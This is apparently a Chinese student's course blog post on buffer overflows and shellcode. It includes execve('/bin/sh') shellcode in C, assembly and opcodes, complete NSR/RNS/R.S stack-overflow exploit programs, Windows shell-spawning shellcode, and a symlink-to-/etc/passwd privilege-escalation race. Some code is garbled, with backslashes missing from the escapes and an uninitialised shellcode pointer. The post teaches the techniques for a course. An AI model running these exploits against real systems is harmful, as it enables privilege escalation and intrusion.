• 20199101 2019-2020-2 《网络攻防实践》第十周作业


    软件安全攻防-缓冲区溢出和shellcode


    0. 总体结构


    本次作业属于哪个课程 网络攻防实践
    这个作业要求在哪里 软件安全攻防-缓冲区溢出和shellcode
    我在这个课程的目标是 学习网络攻防相关技术和原理
    这个作业在哪个具体方面帮助我实现目标 学习软件安全攻防的相关知识,学会写shellcode

    1. 实践内容


    第十章的主要内容是关于缓冲区溢出和Shellcode的相关内容,从软件安全漏洞开始讲起,引出缓冲区溢出和Shellcode的相关概念,并从Linux和Windows两个系统进行讲解,最后也给出了软件安全的相关防御措施。所以原理内容本文主要分为以下几个部分。

    • 软件安全漏洞威胁
    • 缓冲区溢出基本概念
    • Linux栈溢出与Shellcode
    • Windows栈溢出与Shellcode
    • 堆溢出攻击
    • 缓冲区溢出攻击的防御技术

    1.1 软件安全漏洞威胁


    • 软件安全漏洞定义:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。包括三个基本元素:系统的脆弱性或缺陷、攻击者对缺陷的可访问性、攻击者对缺陷的可利用性。

    • 软件安全困境

      • 复杂性:代码的复杂性,集成度。
      • 可扩展性:现代大部分软件经常要支持可扩展性,设计可扩展机制,都必须要考虑安全特性。
      • 连通性:互联网遍布全世界各地,高度连通性意味着网络安全威胁的全球化,与真实世界的连通意味着网络安全威胁的现实影响越来越大。
    • 软件安全漏洞分类

      • 内存安全违规类:在软件开发过程中在处理RAM内存访问时所引入的安全缺陷,缓冲区溢出漏洞是一种最基础的内存安全问题。

      • 输入验证类:软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。如XSS、SQL注入、远程文件包含、HTTP Header注入等。

      • 竞争条件类:系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。

        • 这里的TOCTTOU攻击可能比较难以理解,我给出一个实例代码,简单的介绍下,更加具体的内容大家可以参考关于TOCTTOU攻击简介进行了解。一种常见的原因是代码先检查某个前置条件(例如认证),然后基于这个前置条件进行某项操作,但是在检查和操作的时间间隔内条件却可能被改变
        if (access("filePathName", W_OK)) {   
           exit(EXIT_FAILURE);
        } 
        fd = open("filePathName", O_WRONLY); 
        write(fd, buffer, sizeof(buffer));
        
        • 这个程序比较简单就不说了,还是说为什么这个程序有TOCTTOU bug存在。access()这个检查和open()这个实际访问操作中可能会有其他恶意程序对文件系统进行更改,从而导致恶意访问发生。譬如,在access()open()之间插入下面的代码。攻击者在 accessopen 之间的时间片中将 setuid 程序的写入点改变为了 /etc/passwd,而open的检查可以顺利通过( euid 为0),从而向敏感文件写入数据,最终达到提权目的。这也是为什么VS更加建议我们用open_s()的原因了。
        unlink("filePathName");
        symlink("/etc/passwd", "filePathName");
        
      • 权限混淆与提升类:计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。如跨站请求伪造、FTP反弹攻击、权限提升、“越狱"等。


    1.2 缓冲区溢出基本概念


    • 定义:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。

    • 本质原因

      • 缺乏缓冲区边界保护(C/C++语言程序:效率优先、memcpy()strcpy()等内存与字符串拷贝 函数并不检查内存越界问题、程序员缺乏安全编程意识、经验与技巧)。
      • 冯·诺依曼体系存在本质安全缺陷,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。
    • 说明:下面主要对背景知识做一些介绍,包括汇编、编译器、函数调用等知识。这个是需要大家长期积累的,本文省略一部分比较简单的内容,对复杂的内容也只能稍微讲解,多而杂,还是需要多多学习。

    • GDB调试器

      • 详细学习内容请参考GDB调试器使用总结
      • 断点相关指令(break/clear, disable/enable/deletewatch-表达式值改变时,程序中断)。
      • 执行相关指令(run/continue/next/stepattach-调试已运行的进程,finish/return)。
      • 信息查看相关指令(info reg/break/files/args/frame/functions/...backtrace-函数调用栈,x/nfu addr–显示指定内存地址的内容,disass func-反汇编指定函数)。
    • 汇编语言基础

      • 首先这个真的是一门深奥的课程,如果只是浅尝辄止,那么看看阮一峰老师的汇编语言入门教程,如果不是,当然是找本书啃。

      • 寄存器

        寄存器名 说明 功能
        eax 累加器 加法乘法指令的缺省寄存器, 函数返回值
        ecx 计数器 REP & LOOP指令的内定计数器
        edx 除法寄存器 存放整数除法产生的余数
        ebx 基址寄存器 在内存寻址时存放基地址
        esp 栈顶指针寄存器 当前堆栈的栈顶指针
        ebp 栈底指针寄存器 当前堆栈的栈底指针
        esi、dei 源、目标索引寄存器 在字符串操作指令中,ESI指向源串,EDI指向目标串
        eip 指令寄存器 指向下一条指令的地址
      • 指令在上次实践中也讲到并且详细说了,这里就不赘述了。

    • 进程内存管理

      • 内存空间的分配与回收。
      • 地址转换:在多道程序环境下,程序中的逻辑地址与内存中的物理地址不可能一致,因此存储管理必须提供地址变换功能,把逻辑地址转换成相应的物理地址。
      • 内存空间的扩充:利用虚拟存储技术或自动覆盖技术,从逻辑上扩充内存。
      • 存储保护:保证各道作业在各自的存储空间内运行,互不干扰。
    • 函数调用

      • 调用(call):调用参数和返回地址(eip)压栈,跳转到函数入口。
      • 序言(prologue):调用函数的栈基址进行压栈保存,并创建自身函数的栈结构。
      • 返回(return):恢复调用者原有栈,弹出返回地址,继续执行下一条指令。
      call1
    • 缓冲区溢出攻击原理

      • 根本问题:用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护
      • 成功溢出攻击的三个挑战:如何找出缓冲区溢出要覆盖和修改的敏感位置? 将敏感位置的值修改成什么?执行什么代码指令来达到攻击目的?
      • 类型:栈溢出、堆溢出、内核溢出。
      • 缓冲区溢出的主要点在于数据的淹没,即超过缓冲区区域的高地址部分数据会淹没原本的其他栈数据。
      • 淹没了其他的局部变量:如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。
      • 淹没了ebp的值:修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。
      • 淹没了返回地址:这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程。
      • 淹没参数变量:修改函数的参数变量也可能改变当前函数的执行结果和流程。
      • 淹没上级函数的栈帧:情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改。

    1.3 Linux栈溢出与Shellcode


    • 为了更好的讲解三个模式,我还是先说一下shellcode和其他内容吧,后面分析三种模式实例会方便很多。

    • Linux本地缓冲区溢出的特权提升

      • 运行时刻可以提升至根用户权限进行一些操作。
      • 攻击者就可以在注入shellcode中增加一个setreuid(0)的系统调用。
      • 给出根用户权限的Shell。
    • Linux远程缓冲区溢出:远程缓冲区溢出与本地缓冲区溢出比较:原理一致。用户输入传递途径区别:远程缓冲区溢出采用网络而本地缓冲区溢出命令行/文件的方式。Shellcode编写区别:远程缓冲区溢出采用远程shell访问而本地缓冲区溢出是本地特权提升

    • Linux远程shellcode实现机制:这里其实就是创建socket连接,并将shellcode通过socket注入,同时需要将命令行与socket绑定。

    • Shellcode通用的编写方法

      1. 先用高级编程语言,通常用C,来编写shellcode程序。
      2. 编译并反汇编调试这个shellcode程序。
      3. 从汇编语言代码级别分析程序执行流程。
      4. 整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试。
      5. 提取汇编代码所对应的opcode二进制指令(操作码,每个设备处理单元上的执行的指令),创建shellcode指令数组。
    • Linux上的Shellcode实例

      • 首先给出shellcode的C语言版本,这段代码的主要内容就是通过execve调用/bin/sh(shell)。所以这个代码就是一般我们想插入程序中的代码。

        #include <stdio.h>
        int main ()
        {
            char * name[2];
            name[0] = "/bin/sh";
            name[1] = NULL;
            execve( name[0], name, NULL );
            return 0;
        }
        
      • 接下来,我们将这段代码进行编译并查看其汇编代码,并且,我们需要对代码中含有的空字节进行消除,从而避免在渗透攻击的时候,由于空字节( )的问题导致字符串操作函数截断,从而导致攻击失效。我们编译之后的机器码第一句为mov $0x0,%edx,其中含有空字节0x00,所以我们采用的是xor %edx,%edx来消除空字节。

        int main()
        {
          	__asm__
            ("
             xor    %edx,%edx
        		 push   %edx
        		 push   $0x68732f6e
        	   push   $0x69622f2f
        	   mov    %esp,%ebx
        	   push   %edx
        	   push   %ebx
        	   mov    %esp,%ecx
        	   mov    $0xb,%eax
        	   int    $0x80
             ")
        }
        
      • 最后,我们将其转化为Opcode版本(查找Intel opcode操作手册),并将opcode保存在攻击数据缓冲区,就是我们的shellcode了,在后面讲解三种模式的时候将着重介绍。

        31 d2   // xor %edx,%edx
        52      // push %edx
        68 6e 2f 73 68   // push $0x68732f6e
        68 2f 2f 62 69   // push $0x69622f2f
        89 e3   // mov %esp,%ebx
        52      // push %edx
        53      // push %ebx
        89 e1   // mov %esp,%ecx
        8d 42 0b         // lea 0xb(%edx),%eax
        cd 80   //  int $0x80
        
    • 三个模式

      • NSR模式:最经典的方法,漏洞程序有足够大的缓冲区。
      • RNS模式:能够适合小缓冲区情况,更容易计算返回地址。
      • R.S模式:精确计算shellcode地址, 不需要任何NOP,但对远程缓冲区溢出攻击不适用。
    • NSR模式

      • 适用范围:被溢出的缓冲区变量比较大,足以容纳Shellcode。填充方式是从低地址到高地址的构造一堆Nop指令之后填充shellcode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区。

        nsr1

      • 实例分析

        • 下面的代码是具有栈溢出漏洞的程序,我们将采用NSR模式进行攻击分析。这段程序的漏洞就非常明显了,在进行strcpy字符串拷贝函数的时候并没有进行长度的校验,很容易造成栈溢出。

          #include <stdio.h> 
          int main(int argc,char **argv){ 
             char buf[500]; 
             strcpy(buf,argv[1]); 
             printf("buf's 0x%8x
          ",&buf); 
             getchar();
             return 0; 
          } 
          
        • 下面给出攻击代码,主要都是老师给的程序和书上的例子,这里主要还是进行分析。有时间的话,后面的实践就写一个如何写shellcode的部分吧。攻击程序的核心在于调用时传入的buffer变量,原程序定义的buffer长度为500,可是在攻击程序里面长度是1056,在这里首先填充了nopNum长度的0x90(就是我们通常说的着陆区),接下来就是memcpy上shellcode,最后就是四个字节的返回地址了。这里可能很多人看到一开始的赋值返回地址不太理解,其实前面的部分都被着陆区和shellcode覆盖了,后面才是返回地址。

          #include <stdio.h>
          #include <stdlib.h>
          #include <string.h>
          char shellcode[] =
          "x31xc0"              /* xor %eax, %eax       */
          "x50"                  /* push %eax            */
          "x68x2fx2fx73x68"  /* push $0x68732f2f     */
          "x68x2fx62x69x6e"  /* push $0x6e69622f     */
          "x89xe3"              /* mov  %esp,%ebx       */
          "x50"                  /* push %eax            */
          "x53"                  /* push %ebx            */
          "x89xe1"              /* mov  %esp,%ecx       */
          "x31xd2"              /* xor  %edx,%edx       */
          "xb0x0b"              /* mov  $0xb,%al        */
          "xcdx80";             /* int  $0x80           */
          
          #define BSIZE 1056
          #define RET 0xbfffdaf0
          
          int main(int argc,char **argv)
          {
          	int bsize=BSIZE;
          	unsigned long retaddr=RET;
          	int nopNum = bsize-strlen(shellcode)-100;
          	if(argc>1) bsize=atoi(argv[1]);
          	if(argc>2) retaddr=atoi(argv[2]);
          	if(argc>3) nopNum=atoi(argv[3]);
          	char* buffer=(char *)malloc(sizeof(char)*bsize);
          	int i;
          	for(i=0;i<bsize;i+=4)
          		*(long *)&buffer[i]=retaddr;
          	for(i=0;i<nopNum;i++)
          		*(long*)&buffer[i]=0x90;
          	memcpy(buffer+i,shellcode,strlen(shellcode));
          	execl("chat","chat",buffer,NULL);
          	return 0;
          }
          
    • RNS模式

      • 适用范围:被溢出的变量比较小,不足于容纳Shellcode的情况。填充方式是从低地址到高地址首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。解释一下着陆区,或者叫做滑行区,这是非常形象的,Nop指令一是为了填充,二是为了让程序返回地址只要落在任何一个Nop上,自然会滑到我们的shellcode。

        rns1

      • 实例分析

        • 下面的代码同样是具有缓冲区溢出漏洞的代码,与上面NSR模式唯一不同点在于缓冲区的长度很小。

          #include <stdio.h> 
          int main(int argc,char **argv){ 
             char buf[10]; 
             strcpy(buf,argv[1]); 
             printf("buf's 0x%8x
          ",&buf); 
             getchar();
             return 0; 
          } 
          
        • 下面同样给出攻击代码并分析。我们可以发现这里给buffer的空间全部填充了Nop,接着就是返回地址了,这里返回的地址是我们shellcode的地址,所以最后经过着陆区之后通过跳转到我们的shellcode执行地址来进行shellcode代码的执行。

          #include<stdio.h> 
          #include<stdlib.h> 
          #include<string.h> 
          char *shellcode;
          int main(int argc,char **argv){ 
             char buf[500]; 
             unsigned long ret,p; 
             int i; 
             p=&buf; 
             ret=p+70; 
             memset(buf,0x90,sizeof(buf)); 
             for(i=0;i<44;i+=4) 
                *(long *)&buf[i]=ret; 
             memcpy(buf+400+i,shellcode,strlen(shellcode)); 
             execl("chat","chat",buf,NULL); 
             return 0; 
          } 
          
    • R.S模式**

      • 适用范围:精确地定位出shellcode在目标漏洞程序进程空间中的起始地址,因此也就无需引入Nop空指令构建着陆区。将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:(ret=0xc0000000-sizeof(void *)-sizeof(filename)-sizeof(shellcode))

        rs1

      • 实例分析

        • 给出攻击代码如下,漏洞代码同RNS模式相同。这个程序首先就是计算返回地址,然后用'A'(0x41)进行填充,这里只是为了让他溢出,然后引入shellcode的返回地址,让漏洞程序跳转到shellcode进行执行。
        #include<stdio.h> 
        #include<stdlib.h> 
        #include<string.h> 
        char *shellcode; 
        
        int main(int argc,char **argv){ 
           char buf[32]; 
           char *p[]={"chat",buf,NULL}; 
           char *env[]={"HOME=/root",shellcode,NULL}; 
           unsigned long ret; 
           ret=0xc0000000-strlen(shellcode)-strlen("chat")-sizeof(void *); 
           memset(buf,0x41,sizeof(buf)); 
           memcpy(&buf[28],&ret,4); 
           printf("ret is at 0x%8x
        ",ret); 
           execve("chat", "chat", buf, env); 
           return 0; 
        } 
        

    1.4 Windows栈溢出与Shellcode


    • Windows平台栈溢出与Linux平台的区别和原理

      • 对废弃栈的处理导致NSR模式不适用于Win32,Linux对废弃栈不进行任何处理,而Windows会写入一些随机的数据
      • 进程内存空间的分布导致RNS模式不适用于Win32,Linux栈在3G(0xC0000000)附近,R地址中没有空字节,Windows栈在0x00FFFFFF以下的用户空间,R地址中有空字节。
      • shellcode实现机制不同,Linux通过中断进行系统调用,而Windows通过调用系统DLL提供的接口函数。
    • 解决方案

      • 通过Jmp/Call ESP指令跳转,跳转指令一般在进程内存空间中1G至2G区间中装载的系统核心 DLL(如Kernel32.dll、User32.dll等)、Windows代码页中的地址、应用程序加载的用户DLL、OllyUni插件提供Overflow Return Address功能。

      jmp1

    • Windows平台的Shellcode实现

      • 所需的Win32 API函数,生成函数调用表。
      • 加载所需API函数库,定位函数加载地址。
      • 消除空字节,编码对抗过滤。
      • 确保自己可以正常退出,使目标程序进程继续运行或终止。
      • 在目标系统环境存在异常处理和安全防护机制时,shellcode还需进一步考虑如何对抗这些机制。
    • Shellcode实例

      • 下面是一个C语言版本的shellcode程序。首先使用LoadLibrary()加载msvcrt.dll动态链接库,并且通过GetProcAddress()函数获取system()函数的加载入口地址,赋值给ProcAdd函数指针,然后通过函数指针调用system函数,启动命令行shell

        #include <windows.h>
        #include <winbase.h>
        typedef void (*MYPROC)(LPTSTR);
        typedef void (*MYPROC2)(int);
        void main()
        {
                HINSTANCE LibHandle;
                MYPROC ProcAdd;
                MYPROC2 ProcAdd2;
                char dllbuf[11]  = "msvcrt.dll";
                char sysbuf[7] = "system";
                char cmdbuf[16] = "command.com";
                char sysbuf2[5] = "exit";
                LibHandle = LoadLibrary(dllbuf);
                ProcAdd = (MYPROC)GetProcAddress(
        			LibHandle, sysbuf);
                (ProcAdd) (cmdbuf);
        
                ProcAdd2 = (MYPROC2) GetProcAddress(
        			LibHandle, sysbuf2);
        		(ProcAdd2)(0);
        }
        
      • 编译得到汇编代码如下,主要的解释都放在注释里面了。

        #include <windows.h>
        #include <winbase.h>
        void main()
        {
        	LoadLibrary("msvcrt.dll");
        	__asm{
        		mov esp,ebp    //把esp的内容赋值为ebp
        		push ebp       //保存ebp,esp-4
        		mov ebp,esp    //给ebp赋新值,作为局部变量的基指针
            xor edi,edi    //
            push edi       //压入0,esp-4
            sub esp,08h    //一共12个字符,用来放command.com
            mov byte ptr [ebp-0ch],63h  
            mov byte ptr [ebp-0bh],6fh  
            mov byte ptr [ebp-0ah],6dh  
            mov byte ptr [ebp-09h],6Dh  
            mov byte ptr [ebp-08h],61h  
            mov byte ptr [ebp-07h],6eh  
            mov byte ptr [ebp-06h],64h  
            mov byte ptr [ebp-05h],2Eh  
            mov byte ptr [ebp-04h],63h  
            mov byte ptr [ebp-03h],6fh  
            mov byte ptr [ebp-02h],6dh  //生成command.com
            lea eax,[ebp-0ch]
            push eax                    //串地址作为参数入栈
            mov eax, 0x77bf8044         //API入口地址,根据调试获取
            call eax                    //调用system
        		
        	}
        
        }
        
    • Windows远程Shellcode

      • 创建一个服务器端socket,并在指定的端口上监听。
      • 通过accept()接受客户端的网络连接。
      • 创建子进程,运行cmd.exe,启动命令行。
      • 创建两个管道,并且将shell连接至socket。
        • 命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入。
        • 输出管道将cmd.exe的标准输出连接至服务器端socket的send,通过网络将运行结果反馈给客户端。

    1.5 堆溢出攻击(heap overflow)


    • 定义:在内存中的一些数据区,.text包含进程的代码,.data包含已经初始化的数据,.bss 包含未经初始化的数据,heap运行时刻动态分配的数据区,在这些数据区溢出的情形,都称为heap overflow,这些数据区的特点是: 数据的增长由低地址向高地址。下面讲解几种引起堆溢出攻击的方式。

    • 指针改写:先定义一个buffer,再定义一个指针,当对buffer填充数据的时候,如果不进行边界判断和控制的话,自然就会溢出到指针的内存 区,从而改变指针的值。

      bbs1

    • C++对象虚函数表改写:编译器为每一个包含虚函数的class建立起vtable,vtable中存放的是虚函数的地址,编译器也在每个class对象的内存区放入一个指向vtable 的指针(称为vptr),vptr的位置随编译器的不同而不 同,VC放在对象的起始处,gcc放在对象的末尾,设法改写vptr,让它指向另一段代码。

      vptr1

    • Linux堆内存管理漏洞: glibc库free()函数本身存在漏洞,攻击者可以通过精心构造unlinkme内存块进行free()函数堆溢出攻击。

      • unlink宏被调用时,在what位置的值将覆盖到where位置上。
      • Where: 栈返回地址、GOT全局偏移入口地址、 DTORS析构函数地址。
      • What: shellcode地址。

      free1


    1.6 缓冲区溢出攻击的防御技术


    • 注重软件产品安全性,建立安全意识。
    • 提高软件开发人员安全意识、主动安全性的一些措施。
    • 把安全问题写进企业的规章制度。
    • 效果、效果、效果:量化安防风险,衡量安全性改进过程。
    • 责任:安全责任模型,产品开发团队承担起大部分责任。
    • 建立一整套开发流程,必须包括安全监督员、代码审查、产品安全性测试等。
    • 技术
      • 尝试杜绝溢出的防御技术,编写正确代码、查错: Fuzz注入测试、编译器引入缓冲区边界保护检查。
      • 允许溢出但不让程序改变执行流程的防御技术
        • StackGuard: 返回地址前添加检测标记,返回前检查。
        • VS栈保护编译选项。
        • gcc: -fstack-protector。

    2. 实践过程


    本周没有实践内容!

    本周没有实践内容!

    本周没有实践内容!


    3. 学习中遇到的问题及解决


    • 问题一:对机器码和汇编代码还是不熟悉。
    • 问题一解决方案:找了一些二者的资料,慢慢学习。
    • 问题二:写shellcode好像是挺麻烦的,尤其是一开始的调试过程。
    • 问题二解决方案:对gdb调试工具的不熟悉造成的,万事开头难,0-1很难,1-10很简单。

    4. 学习感悟、思考

    • 通过这次实践真的越来越感觉到网络攻防是一门非常非常综合的课,你需要了解和学习的内容非常多,同样的,对每一方面特别精通的人,做网络攻防也一定有成就。
    • NOTICE:首先我必须向那些我给他们推荐sm.ms图床的人说声抱歉,因为我上周在老师的提醒下,发现我图床里的图片丢了,同样带来的问题还有访问速度很慢的情况。所以我很快将所有图片都转移到了博客园,花费了我很长的时间。博客园确实加载速度没得说,并且没有限制,但是我硬生生转移了五个小时,足见其效率低下。最后我并没有找到一个免费的好用的图床(或者说目前还没有),其实博客园是个不错的选择,但是我实在对效率低下的东西没有好感。所以,我的解决方案是Gitee+PicGo+Typora,原来的方案是sm.ms+PicGo+Typora。最后的最后,这不是推荐,这只是我的解决方案,图片还是最好本地留一份吧,也幸亏我备份了。

    参考资料

  • 相关阅读:
    介绍下自己的Delphi学习环境
    我所理解的Delphi中的数组类型
    字符串的基本操作
    以太网网络变压器的作用
    S3C2416 2D加速
    DM9000AEP调试的时候注意事项
    设置activity背景图片
    如何從現有的share library開發!?
    struct mntent linux挂载信息读取
    Qt中Qstring,char,int,QByteArray之间到转换
  • 原文地址:https://www.cnblogs.com/charlesxie/p/12831058.html
Copyright © 2020-2023  润新知